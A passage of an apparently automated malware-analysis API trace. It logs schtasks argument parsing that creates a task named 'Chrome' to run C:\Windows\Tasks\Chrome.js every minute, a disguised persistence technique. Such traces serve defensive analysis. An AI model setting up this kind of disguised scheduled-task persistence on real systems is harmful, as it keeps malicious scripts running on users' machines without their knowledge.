(_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.378] lstrlenW (lpString="create") returned 6 [0055.378] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.378] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.378] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.378] lstrlenW (lpString="|create|") returned 8 [0055.378] lstrlenW (lpString="|create|") returned 8 [0055.378] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0055.378] SetLastError (dwErrCode=0x0) [0055.378] SetLastError (dwErrCode=0x0) [0055.378] SetLastError (dwErrCode=0x0) [0055.378] lstrlenW (lpString="/sc") returned 3 [0055.378] lstrlenW (lpString="-/") returned 2 [0055.378] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.378] lstrlenW (lpString="?") returned 1 [0055.378] lstrlenW (lpString="?") returned 1 [0055.378] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.378] lstrlenW (lpString="sc") returned 2 [0055.378] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.378] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.378] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.378] lstrlenW (lpString="|?|") returned 3 [0055.378] lstrlenW (lpString="|sc|") returned 4 [0055.378] SetLastError (dwErrCode=0x490) [0055.378] lstrlenW (lpString="create") returned 6 [0055.378] lstrlenW (lpString="create") returned 6 [0055.378] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.378] lstrlenW (lpString="sc") returned 2 [0055.378] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.379] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.379] lstrlenW (lpString="|create|") returned 8 [0055.379] lstrlenW (lpString="|sc|") returned 4 [0055.379] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0055.379] SetLastError (dwErrCode=0x490) [0055.379] lstrlenW (lpString="delete") returned 6 [0055.379] lstrlenW (lpString="delete") returned 6 [0055.379] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] lstrlenW (lpString="sc") returned 2 [0055.379] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|delete|") returned 8 [0055.379] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.379] lstrlenW (lpString="|delete|") returned 8 [0055.379] lstrlenW (lpString="|sc|") returned 4 [0055.379] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0055.379] SetLastError (dwErrCode=0x490) [0055.379] lstrlenW (lpString="query") returned 5 [0055.379] lstrlenW (lpString="query") returned 5 [0055.379] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] lstrlenW (lpString="sc") returned 2 [0055.379] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|query|") returned 7 [0055.379] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.379] lstrlenW (lpString="|query|") returned 7 [0055.379] lstrlenW (lpString="|sc|") returned 4 [0055.379] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0055.379] SetLastError (dwErrCode=0x490) [0055.379] lstrlenW (lpString="change") returned 6 [0055.379] lstrlenW (lpString="change") returned 6 [0055.379] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.379] lstrlenW (lpString="sc") returned 2 [0055.380] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.380] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|change|") returned 8 [0055.380] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.380] lstrlenW (lpString="|change|") returned 8 [0055.380] lstrlenW (lpString="|sc|") returned 4 [0055.380] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0055.380] SetLastError (dwErrCode=0x490) [0055.380] lstrlenW (lpString="run") returned 3 [0055.380] lstrlenW (lpString="run") returned 3 [0055.380] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.380] lstrlenW (lpString="sc") returned 2 [0055.380] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.380] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|run|") returned 5 [0055.380] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.380] lstrlenW (lpString="|run|") returned 5 [0055.380] lstrlenW (lpString="|sc|") returned 4 [0055.380] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0055.380] SetLastError (dwErrCode=0x490) [0055.380] lstrlenW (lpString="end") returned 3 [0055.380] lstrlenW (lpString="end") returned 3 [0055.380] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.380] lstrlenW (lpString="sc") returned 2 [0055.380] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.380] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|end|") returned 5 [0055.380] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.380] lstrlenW (lpString="|end|") returned 5 [0055.380] lstrlenW (lpString="|sc|") returned 4 [0055.380] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0055.380] SetLastError (dwErrCode=0x490) [0055.380] lstrlenW (lpString="showsid") returned 7 [0055.380] lstrlenW (lpString="showsid") returned 7 [0055.380] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.381] lstrlenW (lpString="sc") returned 2 [0055.381] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.381] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|showsid|") returned 9 [0055.381] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|sc|") returned 4 [0055.381] lstrlenW (lpString="|showsid|") returned 9 [0055.381] lstrlenW (lpString="|sc|") returned 4 [0055.381] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x0) [0055.381] lstrlenW (lpString="/sc") returned 3 [0055.381] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x0) [0055.381] lstrlenW (lpString="/sc") returned 3 [0055.381] SetLastError (dwErrCode=0x0) [0055.381] SetLastError (dwErrCode=0x0) [0055.381] lstrlenW (lpString="MINUTE") returned 6 [0055.381] lstrlenW (lpString="-/") returned 2 [0055.381] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x0) [0055.381] lstrlenW (lpString="MINUTE") returned 6 [0055.381] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0055.381] SetLastError (dwErrCode=0x490) [0055.381] SetLastError (dwErrCode=0x0) [0055.382] lstrlenW (lpString="MINUTE") returned 6 [0055.382] SetLastError (dwErrCode=0x0) [0055.382] SetLastError (dwErrCode=0x0) [0055.382] lstrlenW (lpString="/tn") returned 3 [0055.382] lstrlenW (lpString="-/") returned 2 [0055.382] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.382] lstrlenW (lpString="?") returned 1 [0055.382] lstrlenW (lpString="?") returned 1 [0055.382] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.382] lstrlenW (lpString="tn") returned 2 [0055.382] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.382] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.382] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.382] lstrlenW (lpString="|?|") returned 3 [0055.382] lstrlenW (lpString="|tn|") returned 4 [0055.382] SetLastError (dwErrCode=0x490) [0055.382] lstrlenW (lpString="create") returned 6 [0055.382] lstrlenW (lpString="create") returned 6 [0055.382] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.382] lstrlenW (lpString="tn") returned 2 [0055.382] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.382] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.382] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.382] lstrlenW (lpString="|create|") returned 8 [0055.382] lstrlenW (lpString="|tn|") returned 4 [0055.382] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0055.382] SetLastError (dwErrCode=0x490) [0055.382] lstrlenW (lpString="delete") returned 6 [0055.382] lstrlenW (lpString="delete") returned 6 [0055.382] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] lstrlenW (lpString="tn") returned 2 [0055.383] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|delete|") returned 8 [0055.383] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.383] lstrlenW (lpString="|delete|") returned 8 [0055.383] lstrlenW (lpString="|tn|") returned 4 [0055.383] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0055.383] SetLastError (dwErrCode=0x490) [0055.383] lstrlenW (lpString="query") returned 5 [0055.383] lstrlenW (lpString="query") returned 5 [0055.383] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] lstrlenW (lpString="tn") returned 2 [0055.383] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|query|") returned 7 [0055.383] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.383] lstrlenW (lpString="|query|") returned 7 [0055.383] lstrlenW (lpString="|tn|") returned 4 [0055.383] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0055.383] SetLastError (dwErrCode=0x490) [0055.383] lstrlenW (lpString="change") returned 6 [0055.383] lstrlenW (lpString="change") returned 6 [0055.383] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] lstrlenW (lpString="tn") returned 2 [0055.383] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.383] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|change|") returned 8 [0055.383] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.383] lstrlenW (lpString="|change|") returned 8 [0055.383] lstrlenW (lpString="|tn|") returned 4 [0055.383] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0055.383] SetLastError (dwErrCode=0x490) [0055.383] lstrlenW (lpString="run") returned 3 [0055.383] lstrlenW (lpString="run") returned 3 [0055.383] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] lstrlenW (lpString="tn") returned 2 [0055.384] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|run|") returned 5 [0055.384] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.384] lstrlenW (lpString="|run|") returned 5 [0055.384] lstrlenW (lpString="|tn|") returned 4 [0055.384] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0055.384] SetLastError (dwErrCode=0x490) [0055.384] lstrlenW (lpString="end") returned 3 [0055.384] lstrlenW (lpString="end") returned 3 [0055.384] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] lstrlenW (lpString="tn") returned 2 [0055.384] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|end|") returned 5 [0055.384] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.384] lstrlenW (lpString="|end|") returned 5 [0055.384] lstrlenW (lpString="|tn|") returned 4 [0055.384] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0055.384] SetLastError (dwErrCode=0x490) [0055.384] lstrlenW (lpString="showsid") returned 7 [0055.384] lstrlenW (lpString="showsid") returned 7 [0055.384] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] lstrlenW (lpString="tn") returned 2 [0055.384] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.384] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|showsid|") returned 9 [0055.384] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tn|") returned 4 [0055.384] lstrlenW (lpString="|showsid|") returned 9 [0055.384] lstrlenW (lpString="|tn|") returned 4 [0055.384] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0055.384] SetLastError (dwErrCode=0x490) [0055.384] SetLastError (dwErrCode=0x490) [0055.384] SetLastError (dwErrCode=0x0) [0055.384] lstrlenW (lpString="/tn") returned 3 [0055.385] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0055.385] SetLastError (dwErrCode=0x490) [0055.385] SetLastError (dwErrCode=0x0) [0055.385] lstrlenW (lpString="/tn") returned 3 [0055.385] SetLastError (dwErrCode=0x0) [0055.385] SetLastError (dwErrCode=0x0) [0055.385] lstrlenW (lpString="Chrome") returned 6 [0055.385] lstrlenW (lpString="-/") returned 2 [0055.385] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0055.385] SetLastError (dwErrCode=0x490) [0055.385] SetLastError (dwErrCode=0x490) [0055.385] SetLastError (dwErrCode=0x0) [0055.385] lstrlenW (lpString="Chrome") returned 6 [0055.385] StrChrIW (lpStart="Chrome", wMatch=0x3a) returned 0x0 [0055.385] SetLastError (dwErrCode=0x490) [0055.385] SetLastError (dwErrCode=0x0) [0055.385] lstrlenW (lpString="Chrome") returned 6 [0055.385] SetLastError (dwErrCode=0x0) [0055.385] SetLastError (dwErrCode=0x0) [0055.385] lstrlenW (lpString="/tr") returned 3 [0055.385] lstrlenW (lpString="-/") returned 2 [0055.385] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.385] lstrlenW (lpString="?") returned 1 [0055.385] lstrlenW (lpString="?") returned 1 [0055.385] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.385] lstrlenW (lpString="tr") returned 2 [0055.385] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.385] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.385] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.385] lstrlenW (lpString="|?|") returned 3 [0055.386] lstrlenW (lpString="|tr|") returned 4 [0055.386] SetLastError (dwErrCode=0x490) [0055.386] lstrlenW (lpString="create") returned 6 [0055.386] lstrlenW (lpString="create") returned 6 [0055.386] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] lstrlenW (lpString="tr") returned 2 [0055.386] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.386] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.386] lstrlenW (lpString="|create|") returned 8 [0055.386] lstrlenW (lpString="|tr|") returned 4 [0055.386] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0055.386] SetLastError (dwErrCode=0x490) [0055.386] lstrlenW (lpString="delete") returned 6 [0055.386] lstrlenW (lpString="delete") returned 6 [0055.386] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] lstrlenW (lpString="tr") returned 2 [0055.386] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|delete|") returned 8 [0055.386] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.386] lstrlenW (lpString="|delete|") returned 8 [0055.386] lstrlenW (lpString="|tr|") returned 4 [0055.386] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0055.386] SetLastError (dwErrCode=0x490) [0055.386] lstrlenW (lpString="query") returned 5 [0055.386] lstrlenW (lpString="query") returned 5 [0055.386] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] lstrlenW (lpString="tr") returned 2 [0055.386] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.386] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x8, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|query|") returned 7 [0055.386] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.386] lstrlenW (lpString="|query|") returned 7 [0055.386] lstrlenW (lpString="|tr|") returned 4 [0055.387] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0055.387] SetLastError (dwErrCode=0x490) [0055.387] lstrlenW (lpString="change") returned 6 [0055.387] lstrlenW (lpString="change") returned 6 [0055.387] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] lstrlenW (lpString="tr") returned 2 [0055.387] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|change|") returned 8 [0055.387] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.387] lstrlenW (lpString="|change|") returned 8 [0055.387] lstrlenW (lpString="|tr|") returned 4 [0055.387] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0055.387] SetLastError (dwErrCode=0x490) [0055.387] lstrlenW (lpString="run") returned 3 [0055.387] lstrlenW (lpString="run") returned 3 [0055.387] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] lstrlenW (lpString="tr") returned 2 [0055.387] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|run|") returned 5 [0055.387] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.387] lstrlenW (lpString="|run|") returned 5 [0055.387] lstrlenW (lpString="|tr|") returned 4 [0055.387] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0055.387] SetLastError (dwErrCode=0x490) [0055.387] lstrlenW (lpString="end") returned 3 [0055.387] lstrlenW (lpString="end") returned 3 [0055.387] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] lstrlenW (lpString="tr") returned 2 [0055.387] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.387] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x6, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|end|") returned 5 [0055.387] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.387] lstrlenW (lpString="|end|") returned 5 [0055.388] lstrlenW (lpString="|tr|") returned 4 [0055.388] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0055.388] SetLastError (dwErrCode=0x490) [0055.388] lstrlenW (lpString="showsid") returned 7 [0055.388] lstrlenW (lpString="showsid") returned 7 [0055.388] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.388] lstrlenW (lpString="tr") returned 2 [0055.388] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.388] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0xa, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|showsid|") returned 9 [0055.388] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|tr|") returned 4 [0055.388] lstrlenW (lpString="|showsid|") returned 9 [0055.388] lstrlenW (lpString="|tr|") returned 4 [0055.388] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0055.388] SetLastError (dwErrCode=0x490) [0055.388] SetLastError (dwErrCode=0x490) [0055.388] SetLastError (dwErrCode=0x0) [0055.388] lstrlenW (lpString="/tr") returned 3 [0055.388] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0055.388] SetLastError (dwErrCode=0x490) [0055.388] SetLastError (dwErrCode=0x0) [0055.388] lstrlenW (lpString="/tr") returned 3 [0055.388] SetLastError (dwErrCode=0x0) [0055.388] SetLastError (dwErrCode=0x0) [0055.388] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.388] lstrlenW (lpString="-/") returned 2 [0055.388] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0055.388] SetLastError (dwErrCode=0x490) [0055.388] SetLastError (dwErrCode=0x490) [0055.388] SetLastError (dwErrCode=0x0) [0055.388] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.388] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x3a) returned=":\\Windows\\Tasks\\Chrome.js" [0055.388] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.389] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.389] _memicmp (_Buf1=0x1bd610, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.389] SetLastError (dwErrCode=0x7a) [0055.389] SetLastError (dwErrCode=0x0) [0055.389] SetLastError (dwErrCode=0x0) [0055.389] lstrlenW (lpString="C") returned 1 [0055.389] SetLastError (dwErrCode=0x490) [0055.389] SetLastError (dwErrCode=0x0) [0055.389] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0055.389] SetLastError (dwErrCode=0x0) [0055.389] SetLastError (dwErrCode=0x0) [0055.389] lstrlenW (lpString="/mo") returned 3 [0055.389] lstrlenW (lpString="-/") returned 2 [0055.389] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0055.389] lstrlenW (lpString="?") returned 1 [0055.389] lstrlenW (lpString="?") returned 1 [0055.389] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.389] lstrlenW (lpString="mo") returned 2 [0055.389] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.389] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|?|") returned 3 [0055.389] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.390] lstrlenW (lpString="|?|") returned 3 [0055.390] lstrlenW (lpString="|mo|") returned 4 [0055.390] SetLastError (dwErrCode=0x490) [0055.390] lstrlenW (lpString="create") returned 6 [0055.390] lstrlenW (lpString="create") returned 6 [0055.390] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] lstrlenW (lpString="mo") returned 2 [0055.390] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|create|") returned 8 [0055.390] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.390] lstrlenW (lpString="|create|") returned 8 [0055.390] lstrlenW (lpString="|mo|") returned 4 [0055.390] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0055.390] SetLastError (dwErrCode=0x490) [0055.390] lstrlenW (lpString="delete") returned 6 [0055.390] lstrlenW (lpString="delete") returned 6 [0055.390] _memicmp (_Buf1=0x1bca50, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] lstrlenW (lpString="mo") returned 2 [0055.390] _memicmp (_Buf1=0x1bca90, _Buf2=0xffc71b08, _Size=0x7) returned 0 [0055.390] _vsnwprintf (in: _Buffer=0x1bdd40, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|delete|") returned 8 [0055.390] _vsnwprintf (in: _Buffer=0x1bd570, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef4a8 | out: _Buffer="|mo|") returned 4 [0055.390] lstrlenW (lpString="|delete|") returned 